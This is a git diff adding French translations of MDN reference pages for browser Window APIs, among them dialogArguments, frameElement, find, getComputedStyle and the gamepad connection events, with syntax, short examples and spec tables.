+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/@media/resolution">CSS <code>resolution</code> media query</a></li>
+ <li>PPK a effectué des <a href="http://www.quirksmode.org/blog/archives/2012/06/devicepixelrati.html">recherches sur devicePixelRatio</a></li>
+</ul>
diff --git a/files/fr/web/api/window/dialogarguments/index.html b/files/fr/web/api/window/dialogarguments/index.html
new file mode 100644
index 0000000000..e79536d5cf
--- /dev/null
+++ b/files/fr/web/api/window/dialogarguments/index.html
@@ -0,0 +1,28 @@
+---
+title: Window.dialogArguments
+slug: Web/API/Window/dialogArguments
+tags:
+  - API
+  - Déprécié
+  - HTML DOM
+  - NeedsExample
+  - NeedsMarkupWork
+  - NeedsSpecTable
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/dialogArguments
+---
+<p>{{ Fx_minversion_header(3) }} {{ deprecated_header() }}{{APIRef}}</p>
+
+<p><span class="seoSummary">La propriété <code>dialogArguments</code> renvoie les paramètres qui ont été transmis à la méthode {{domxref("window.showModalDialog()")}} method.</span> Cela vous permet de déterminer quels paramètres ont été spécifiés lors de la boîte de dialogue modale.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>valeur</var> = window.dialogArguments;</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.dialogArguments")}}</p>
diff --git a/files/fr/web/api/window/directories/index.html b/files/fr/web/api/window/directories/index.html
new file mode 100644
index 0000000000..a4ea62e3a8
--- /dev/null
+++ b/files/fr/web/api/window/directories/index.html
@@ -0,0 +1,45 @@
+---
+title: Window.directories
+slug: Web/API/Window/directories
+tags:
+  - API
+  - HTML DOM
+  - NeedsCompatTable
+  - NeedsExample
+  - NeedsMarkupWork
+  - NeedsSpecTable
+  - Obsolete
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/directories
+---
+<p>{{ obsolete_header("2.0") }}</p>
+
+<p>{{ APIRef() }}</p>
+
+<h3 id="Summary" name="Summary">Résumé</h3>
+
+<p>Retourne l'objet de la barre d'outils de la barre personnelle de la fenêtre. Utilisez plutôt {{ domxref("window.personalbar") }}.</p>
+
+<h3 id="Syntax" name="Syntax">Syntaxe</h3>
+
+<pre class="javascript notranslate">var <var>dirBar</var> = window.directories;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<p><var>dirBar</var> est un objet du type <code>BarProp</code>.</p>
+
+<h3 id="Example" name="Example">Exemple</h3>
+
+<pre class="notranslate">&lt;script&gt;
+ function dirs() {
+  alert(window.directories);
+ }
+&lt;/script&gt;
+</pre>
+
+<h3 id="Specification" name="Specification">Spécification</h3>
+
+<p>Ne fait pas partie des spécifications.</p>
diff --git a/files/fr/web/api/window/document/index.html b/files/fr/web/api/window/document/index.html
new file mode 100644
index 0000000000..8fb5e6967e
--- /dev/null
+++ b/files/fr/web/api/window/document/index.html
@@ -0,0 +1,47 @@
+---
+title: Window.document
+slug: Web/API/Window/document
+tags:
+  - API
+  - HTML DOM
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/document
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary"><strong><code>window.document</code></strong> renvoie une référence au <a href="/en-US/docs/Web/API/document">document</a> contenu dans la fenêtre.</span></p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">console.log(window.document.title);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-2', 'Window.document')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-0', 'Window.document')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.document")}}</p>
diff --git a/files/fr/web/api/window/dump/index.html b/files/fr/web/api/window/dump/index.html
new file mode 100644
index 0000000000..c1821d4daa
--- /dev/null
+++ b/files/fr/web/api/window/dump/index.html
@@ -0,0 +1,26 @@
+---
+title: window.dump
+slug: Web/API/Window/dump
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Window/dump
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Affiche des messages dans la console (native).</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">dump(<em>message</em>);
+</pre>
+<ul>
+ <li><code>message</code> est le message texte à afficher.</li>
+</ul>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p><code>dump</code> est habituellement utilisé pour débogage du JavaScript. Du code avec permissions peut également utiliser <a href="/fr/Components.utils.reportError" title="fr/Components.utils.reportError">Components.utils.reportError</a> et <a href="/fr/nsIConsoleService" title="fr/nsIConsoleService">nsIConsoleService</a> pour afficher des messages dans la <a href="/fr/Console_JavaScript" title="fr/Console_JavaScript">console JavaScript</a>.</p>
+<p>Dans <a href="/fr/Gecko" title="fr/Gecko">Gecko</a>, <code>dump</code> est désactivé par défaut – il ne fait rien mais ne génère aucune erreur. Pour que <code>dump</code> écrive dans le flux standard de sortie, vous devez l'activer en mettant la préférence <code>browser.dom.window.dump.enabled</code> à <code>true</code>. Vous pouvez définir cette préférence dans <a class="external" href="http://kb.mozillazine.org/About:config">about:config</a> ou dans un <a class="external" href="http://kb.mozillazine.org/User.js_file">fichier user.js</a>.</p>
+<p>Vous aurez besoin d'une console pour voir quelque chose. Si vous n'en avez pas déjà une, fermez et réouvrez le programme en ajoutant le paramètre <code>-console</code> à la ligne de commande.</p>
+<p><code>dump</code> est également disponible au composants XPCOM implémentés en JavaScript, même si <a href="/fr/DOM/window" title="fr/DOM/window">window</a> n'est pas l'objet global dans ce contexte.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/window.dump", "ja": "ja/DOM/window.dump", "pl": "pl/DOM/window.dump" } ) }}</p>
diff --git a/files/fr/web/api/window/event/index.html b/files/fr/web/api/window/event/index.html
new file mode 100644
index 0000000000..18344b068c
--- /dev/null
+++ b/files/fr/web/api/window/event/index.html
@@ -0,0 +1,51 @@
+---
+title: Window.event
+slug: Web/API/Window/event
+tags:
+  - API
+  - Evènement
+  - Gestionnaire d'évènements
+  - HTML DOM
+  - Lecture seulement
+  - Propriété
+  - Window
+translation_of: Web/API/Window/event
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>L'événement de propriété {{domxref("Window")}} en lecture seule renvoie le {{domxref("Event")}} qui est actuellement géré par le code du site. En dehors du contexte d'un gestionnaire d'événements, la valeur est toujours <code>undefined</code>.</p>
+
+<p>Vous devez éviter d'utiliser cette propriété dans un nouveau code et utiliser à la place le {{domxref ("Event")}} transmis à la fonction de gestionnaire d'événements. Cette propriété n'est pas prise en charge universellement et même lorsqu'elle est prise en charge, elle introduit une fragilité potentielle dans votre code.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Cette propriété peut être fragile, dans la mesure où il peut y avoir des situations dans lesquelles <code>l'événement</code> renvoyé n'est pas la valeur attendue. De plus, <code>Window.event</code> n'est pas précis pour les événements distribués dans {{Glossary("shadow tree", "shadow trees")}}.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-window-event", "Window.event")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("Event.srcElement")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/find/index.html b/files/fr/web/api/window/find/index.html
new file mode 100644
index 0000000000..9ce279fc62
--- /dev/null
+++ b/files/fr/web/api/window/find/index.html
@@ -0,0 +1,78 @@
+---
+title: Window.find()
+slug: Web/API/Window/find
+tags:
+  - API
+  - HTML DOM
+  - Méthode
+  - NeedsCompatTable
+  - NeedsContent
+  - Non-standard
+  - Reference
+  - Window
+  - find
+translation_of: Web/API/Window/find
+---
+<div>{{ApiRef}}{{Non-standard_Header}}</div>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> La prise en charge de <code>Window.find()</code> pourrait changer dans les futures versions de Gecko. Voir {{Bug("672395")}}.</p>
+</div>
+
+<p>La méthode <code><strong>Window.find()</strong></code> trouve une chaîne dans une fenêtre.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>window</em>.find(<em>aString</em>, <em>aCaseSensitive</em>, <em>aBackwards</em>, <em>aWrapAround</em>,
+            <em>aWholeWord</em>, <em>aSearchInFrames</em>, <em>aShowDialog</em>);</pre>
+
+<dl>
+ <dt><code>aString</code></dt>
+ <dd>La chaîne de caractère à rechercher.</dd>
+ <dt><code>aCaseSensitive</code></dt>
+ <dd>{{jsxref("Boolean")}}. Si <code>true</code>, spécifie une recherche sensible à la casse.</dd>
+ <dt><code>aBackwards</code></dt>
+ <dd>{{jsxref("Boolean")}}. Si <code>true</code>, spécifie une recherche vers l'arrière.</dd>
+ <dt><code>aWrapAround</code></dt>
+ <dd>{{jsxref("Boolean")}}. Si <code>true</code>, spécifie une recherche enveloppante.</dd>
+ <dt><code>aWholeWord</code> {{Unimplemented_Inline}}</dt>
+ <dd>{{jsxref("Boolean")}}. Si <code>true</code>, spécifie une recherche de mot entier. Ceci n'est pas implémenté; voir {{bug(481513)}}.</dd>
+ <dt><code>aSearchInFrames</code></dt>
+ <dd>{{jsxref("Boolean")}}. Si <code>true</code>, spécifie une recherche dans les cadres.</dd>
+</dl>
+
+<h3 id="Retourne">Retourne</h3>
+
+<p><code>true</code> si la chaîne est trouvé; autrement, <code>false</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">findString = function findText(text) {
+  alert("String \x22" + text + "\x22 found? " + window.find(text));
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Apples, Bananas, and Oranges.&lt;/p&gt;
+&lt;button type="button" onClick='findString("Apples")'&gt;Search for Apples&lt;/button&gt;
+&lt;button type="button" onClick='findString("Banana")'&gt;Search for Banana&lt;/button&gt;
+&lt;button type="button" onClick='findString("Orange")'&gt;Search for Orange&lt;/button&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Dans certains navigateurs, <code>Window.find()</code> sélectionne (met en évidence) le contenu trouvé sur le site.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p id="comment_text_2">Cela ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Cette méthode fonctionne dans de nombreux navigateurs modernes, notamment Firefox, Chrome, et Safari.</p>
diff --git a/files/fr/web/api/window/focus/index.html b/files/fr/web/api/window/focus/index.html
new file mode 100644
index 0000000000..51d55e804a
--- /dev/null
+++ b/files/fr/web/api/window/focus/index.html
@@ -0,0 +1,39 @@
+---
+title: Window.focus()
+slug: Web/API/Window/focus
+translation_of: Web/API/Window/focus
+---
+<p>{{APIRef}}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Demande la mise au premier plan de la fenêtre. Cet appel peut échouer en fonction des réglages utilisateurs, et ne garantit pas que la fenêtre sera au-dessus des autres au retour de cette méthode.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">window.focus()
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="eval">if (clicked) { window.focus(); }
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','interaction.html#dom-window-focus','Window.focus()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ languages( { "ja": "ja/DOM/window.focus", "pl": "pl/DOM/window.focus" } ) }}</p>
diff --git a/files/fr/web/api/window/frameelement/index.html b/files/fr/web/api/window/frameelement/index.html
new file mode 100644
index 0000000000..46193efe10
--- /dev/null
+++ b/files/fr/web/api/window/frameelement/index.html
@@ -0,0 +1,70 @@
+---
+title: Window.frameElement
+slug: Web/API/Window/frameElement
+tags:
+  - API
+  - DOM
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/frameElement
+---
+<div>{{ApiRef}}</div>
+
+<p><span class="seoSummary">La propriété <code><strong>Window.frameElement</strong></code> renvoie l'élément (tel que {{HTMLElement("iframe")}} ou {{HTMLElement("object")}}) dans lequel la fenêtre est intégrée.</span></p>
+
+<div class="note">
+<p><strong>Note:</strong> Malgré le nom de cette propriété, elle fonctionne pour les documents intégrés dans n'importe quel point d'incorporation, y compris {{HTMLElement("object")}}, {{HTMLElement("iframe")}}, ou {{HTMLElement("embed")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const <em>frameEl</em> = window.frameElement
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>L'élément dans lequel la fenêtre est intégrée. Si la fenêtre n'est pas intégrée dans un autre document, ou si le document dans lequel elle est intégrée a un {{glossary("origin")}}, la valeur est {{jsxref("null")}} à la place.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js notranslate">const frameEl = window.frameElement;
+// Si nous sommes incorporés, modifiez l'URL de l'élément contenant en 'http://mozilla.org/'
+if (frameEl) {
+  frameEl.src = 'http://mozilla.org/';
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-frameelement', 'Window.frameElement')}}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.frameElement")}}</p>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("window.frames")}} renvoie un objet de type tableau, listant les sous-cadres directs de la fenêtre courante.</li>
+ <li>{{domxref("window.parent")}} renvoie la fenêtre parente, qui est la fenêtre contenant le <code>frameElement</code> de la fenêtre enfant.</li>
+</ul>
diff --git a/files/fr/web/api/window/frames/index.html b/files/fr/web/api/window/frames/index.html
new file mode 100644
index 0000000000..3823eba20d
--- /dev/null
+++ b/files/fr/web/api/window/frames/index.html
@@ -0,0 +1,49 @@
+---
+title: Window.frames
+slug: Web/API/Window/frames
+tags:
+  - API
+  - DOM
+  - DOM Reference
+  - DOM_0
+  - Gecko
+  - NeedsContent
+  - NeedsUpdate
+  - Property
+  - Reference
+translation_of: Web/API/Window/frames
+---
+<p>{{ApiRef("Window")}}</p>
+
+<p> </p>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>Renvoie la fenêtre elle-même, qui est semblable à un objet de type Array, listant les frames présentes dans la fenêtre courante.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>frameList</em> = window.frames;
+</pre>
+
+<ul>
+ <li><code>frameList</code> est une liste d'objets frame, semblable à un tableau grâce à la propriété <code>length</code> . Ses éléments sont accessibles en utilisant la notation  <code>{{ mediawiki.external('i') }}</code>.</li>
+ <li><code>frameList === window</code> est évalué à <code>true</code>.</li>
+ <li>Chaque élément de window.frames est un pseudo tableau représentant l'objet <a class="internal" href="/en/DOM/window" title="en/DOM/window">window</a> correspondant au contenu de la  <a class="internal" href="/en/HTML/Element/frame" title="en/HTML/Element/frame">&lt;frame&gt;</a> ou <a class="internal" href="/en/HTML/Element/iframe" title="en/HTML/Element/iframe">&lt;iframe&gt;</a> , et non au DOM element (i)frame (ex., <code>window.frames[ 0 ]</code> équivaut à <code>document.getElementsByTagName( "iframe" )[ 0 ].contentWindow</code>).</li>
+ <li>pour plus de détails sur la valeur retournée, se référer au <a class="external external-icon" href="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/5628c6f346859d4f/169aa7004565066?hl=en&amp;ie=UTF-8&amp;oe=utf-8&amp;q=window.frames&amp;pli=1" title="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/5628c6f346859d4f/169aa7004565066?hl=en&amp;ie=UTF-8&amp;oe=utf-8&amp;q=window.frames&amp;pli=1">fil de discussion sur mozilla.dev.platform</a>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var frames = window.frames; // ou // var frames = window.parent.frames;
+for (var i = 0; i &lt; frames.length; i++) {
+  // faire quelque chose avec chaque subframe en tant que frames[i]
+  frames[i].document.body.style.background = "red";
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p id="comment_text_2">{{SpecName('HTML WHATWG','browsers.html#dom-frames','Window.frames')}}</p>
+
+<p> </p>
diff --git a/files/fr/web/api/window/fullscreen/index.html b/files/fr/web/api/window/fullscreen/index.html
new file mode 100644
index 0000000000..32fe1cb9bb
--- /dev/null
+++ b/files/fr/web/api/window/fullscreen/index.html
@@ -0,0 +1,36 @@
+---
+title: window.fullScreen
+slug: Web/API/Window/fullScreen
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Window/fullScreen
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Cette propriété indique si la fenêtre est affichée en mode plein écran ou non. Elle n'est fiable qu'à partir de Gecko 1.9 (Firefox 3), voir les Notes plus bas.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">var <var>isInFullScreen</var> = <var>windowRef</var>.fullScreen;
+</pre>
+<p>Avec les privilèges chrome, la propriété est modifiable ; autrement elle est en lecture seule. Souvenez-vous que si vous essayez de définir cette propriété sans les privilèges chrome, aucune exception ne sera déclenchée et l'appel échouera juste silencieusement. Cela permet d'empêcher que des scripts conçus pour utiliser cette propriété dans Internet Explorer cessent de fonctionner.</p>
+<h3 id="Valeur_de_retour" name="Valeur_de_retour">Valeur de retour</h3>
+<dl>
+ <dt>
+  <code>isInFullScreen</code></dt>
+ <dd>
+  Une valeur booléenne. Signification des valeurs :</dd>
+</dl>
+<ul>
+ <li><code>true</code> : La fenêtre est en mode plein écran.</li>
+ <li><code>false</code> : La fenêtre n'est pas en mode plein écran.</li>
+</ul>
+<h3 id="Exemples" name="Exemples">Exemples</h3>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>Cette propriété n'est fiable qu'à partir de Mozilla 1.9 (Firefox 3). Mozilla 1.8 et les versions antérieures disposent de cette propriété, mais elle renvoie toujours <code>false</code>, même quand la fenêtre est en mode plein écran ({{ Bug(127013) }}).</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.fullScreen", "es": "es/DOM/window.fullScreen", "ja": "ja/DOM/window.fullScreen" } ) }}</p>
diff --git a/files/fr/web/api/window/gamepadconnected_event/index.html b/files/fr/web/api/window/gamepadconnected_event/index.html
new file mode 100644
index 0000000000..0f68232b6c
--- /dev/null
+++ b/files/fr/web/api/window/gamepadconnected_event/index.html
@@ -0,0 +1,86 @@
+---
+title: gamepadconnected
+slug: Web/API/Window/gamepadconnected_event
+translation_of: Web/API/Window/gamepadconnected_event
+---
+<p>L'événement gamepadconnected est déclenché lorsque le navigateur détecte quand une manette a été connecté ou qu'un button/axe de la manette a été utilisé pour la première fois.<br>
+  </p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/gamepad/#the-gamepadconnected-event">Gamepad</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>&lt;window&gt;</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>gamepad</code> {{readonlyInline}}</td>
+   <td>{{domxref("Gamepad")}}</td>
+   <td>The single gamepad attribute provides access to the associated gamepad data for this event.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js;">// Noter que l'API a toujours des préfixes vendeur dans les navigateurs l'implémentant
+window.addEventListener("gamepadconnected", function( event ) {
+
+    // Toutes la valeurs d'axes et les buttons sont accessibles à travers:
+    event.gamepad;
+
+});
+</pre>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Reference/Events/gamepaddisconnected">gamepaddisconnected</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/API/Gamepad/Using_Gamepad_API">Utilisation de l'API Gamepad</a></li>
+</ul>
diff --git a/files/fr/web/api/window/gamepaddisconnected_event/index.html b/files/fr/web/api/window/gamepaddisconnected_event/index.html
new file mode 100644
index 0000000000..f62baa963a
--- /dev/null
+++ b/files/fr/web/api/window/gamepaddisconnected_event/index.html
@@ -0,0 +1,74 @@
+---
+title: gamepaddisconnected
+slug: Web/API/Window/gamepaddisconnected_event
+translation_of: Web/API/Window/gamepaddisconnected_event
+---
+<p>L'événement <code>gamepaddisconnected</code> est déclenché lorsque le navigateur détecte le fait qu'une manette ait été débranchée.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/gamepad/#the-gamepaddisconnected-event">Gamepad</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Event")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>&lt;window&gt;</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>gamepad</code> {{readonlyInline}}</td>
+   <td>{{domxref("Gamepad")}}</td>
+   <td>The single gamepad attribute provides access to the associated gamepad data for this event.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Reference/Events/gamepadconnected">gamepadconnected</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/API/Gamepad/Using_Gamepad_API">Utilisation de l'API Gamepad</a></li>
+</ul>
diff --git a/files/fr/web/api/window/getcomputedstyle/index.html b/files/fr/web/api/window/getcomputedstyle/index.html
new file mode 100644
index 0000000000..028dc774a8
--- /dev/null
+++ b/files/fr/web/api/window/getcomputedstyle/index.html
@@ -0,0 +1,164 @@
+---
+title: window.getComputedStyle
+slug: Web/API/Window/getComputedStyle
+translation_of: Web/API/Window/getComputedStyle
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p><code>La méthode window.getComputedStyle() </code>donne la  <a href="/en/CSS/used_value" title="https://developer.mozilla.org/en/CSS/used_value">valeur calculée finale</a> de toutes les propriétés CSS sur un élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">var <em>style</em> = window.getComputedStyle(<em>element</em>[, <em>pseudoElt</em>]);</pre>
+
+<dl>
+ <dt>element</dt>
+ <dd>L’{{ domxref("Element") }} pour lequel vous voulez obtenir une valeur calculée.</dd>
+ <dt>pseudoElt {{ optional_inline() }}</dt>
+ <dd>Chaîne de caractère spécifiant le pseudo-élément à cibler. Doit être <code>null</code> (ou non spécifiée) pour les éléments communs.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> Avant Gecko 2.0 {{ geckoRelease("2.0") }}, le paramètre <code>pseudoElt</code> était obligatoire. Aucun autre navigateur majeur ne requiert que ce paramètre soit renseigné si il est null. Gecko a été modifié pour se comporter comme les autres navigateurs.</div>
+
+<p>La valeur de retour <code>style</code> est un objet <a href="/en/DOM/CSSStyleDeclaration" title="en/DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var elem1 = document.getElementById("elemId");
+var style = window.getComputedStyle(elem1, null);
+
+// Ce qui équivaut à :
+// var style = document.defaultView.getComputedStyle(elem1, null);
+</pre>
